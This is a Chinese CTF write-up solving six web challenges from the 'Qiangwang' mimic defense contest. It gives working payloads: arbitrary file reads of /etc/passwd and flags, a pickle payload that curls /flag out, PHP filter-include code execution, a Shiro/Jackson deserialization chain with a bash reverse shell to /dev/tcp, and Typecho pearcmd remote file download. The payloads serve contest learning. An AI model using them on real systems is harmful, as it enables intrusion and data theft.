第四届“强网”拟态防御国际精英挑战赛web的wp

 

web

zerocalc

readFile函数可以任意文件读取!

readFile('./src/index.js')读出源码后:

notevil是最新的版本!正当我头脑风暴的时候!

readFile('../../../../../../flag') 可以直接读出flag

new_hospital

这题打开是一个正常的网站!

测试了网站功能时发现feature.php 好像存在任意文件读取!

API的值是文件名base64加密后的值!

id控制读取的文件名。但是限制了文件后缀只能是js文件!

扫描网站目录!

发现old目录!因为旧网站地址!

测试发现old下的feature.php 可以通过API参数任意文件读取!

/etc/passwd base64加密后:L2V0Yy9wYXNzd2Q=

读flag

/var/www/html/flag.php base64加密:L3Zhci93d3cvaHRtbC9mbGFnLnBocA==

ezPickle

分析源码:

发现有个后门!

notadmin={"admin":"no"}

def backdoor(cmd):
    if notadmin["admin"]=="yes":
        s=''.join(cmd)
        eval(s)

并且:反序列化的内容进行了一个过滤。限定了只能反序列化config类,而且调用的方法或属性中不能含有__

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))

思路就是:为了利用这个后门,我们得把config.notadmin的值改为{"admin":"yes"}

利用工具生成恶意序列化字符串。

exp.py

notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('curl 0.0.0.0:1?i=`cat /flag|base64`').read()"])
return

payload:

b"cconfig\nnotadmin\np0\n0g0\nS'admin'\nS'yes'\nscconfig\nbackdoor\np2\n0g2\n((S'__import__(\\'os\\').popen(\\'curl 0.0.0.0:1?i=`cat /flag|base64`\\').read()'\nltR."

把base64加密后的payload传入name参数:

Y2NvbmZpZwpub3RhZG1pbgpwMAowZzAKUydhZG1pbicKUyd5ZXMnCnNjY29uZmlnCmJhY2tkb29yCnAyCjBnMgooKFMnX19pbXBvcnRfXyhcJ29zXCcpLnBvcGVuKFwnY3VybCAwLjAuMC4wOjE/aT1gY2F0IC9mbGFnfGJhc2U2NGBcJykucmVhZCgpJwpsdFIu

获取flag:

EasyFilter

题目源码:

<?php
    ini_set("open_basedir","./");
    if(!isset($_GET['action'])){
        highlight_file(__FILE__);
        die();
    }
    if($_GET['action'] == 'w'){
        @mkdir("./files/");
        $content = $_GET['c'];
        $file = bin2hex(random_bytes(5));
        file_put_contents("./files/".$file,base64_encode($content));
        echo "./files/".$file;
    }elseif($_GET['action'] == 'r'){
        $r = $_GET['r'];
        $file = "./files/".$r;
        include("php://filter/resource=$file");
    }

有个写文件 和包含文件的功能!

经过测试发现: 它好像缺少过滤器:

构造payload: 我们给他加一个过滤器

?action=w&c=<?=phpinfo();
?action=r&r=/convert.base64-decode/../5f72d0bd55

可以成功包含:

读取flag:

payload:

?action=w&c=<?=`cat /flag`;
?action=r&r=/convert.base64-decode/../2f5a44c406

Jack-Shiro

下载pom.xml后:

有shiro1.5.1,cc3.2.1

思路就是:shiro验证绕过访问路由通过jackson反序列化打cc链

发现有json路由需要登陆通过/;/json绕过

直接上工具ysomap用cc8去打

payload:

use exploit LDAPLocalChainListener
set lport 8996
use payload  CommonsCollections8
use bullet TransformerBullet
set version 3
set args 'bash -i >& /dev/tcp/ip/8866 0>&1'
run

Give_me_your_0day

看源码是Typecho

上网查质料就只要一个Typecho反序列化漏洞!

由于题目环境的原因:config.inc.php 文件是无法创建的!

代码审计:

install.php

就发现一处包含点!

我们可以通过控制config参数和adapter参数来控制 变量$type。 就可以任意文件包含(但是限制文件后缀是php)!

那现在思路很明确了!

就找一个可以利用的php文件就行了!

查阅质料发现:可以包含php环境自带的pearcmd文件

然后通过pear install -R /tmp http://127.0.0.1:8080/1.php 命令下载恶意文件到服务器,实现RCE!

测试

1 在服务器上使用python一句话开启http服务器:python -m SimpleHTTPServer 8080

2 通过pear install -R /var/www/html http://0.0.0.0:8080/1.php 命令下载恶意文件到服务器,实现RCE!

3 读取FLAG

 

总结:

和师傅们一起玩的很开心!有大师傅MoonBack带带,玩的很开心!???

(完)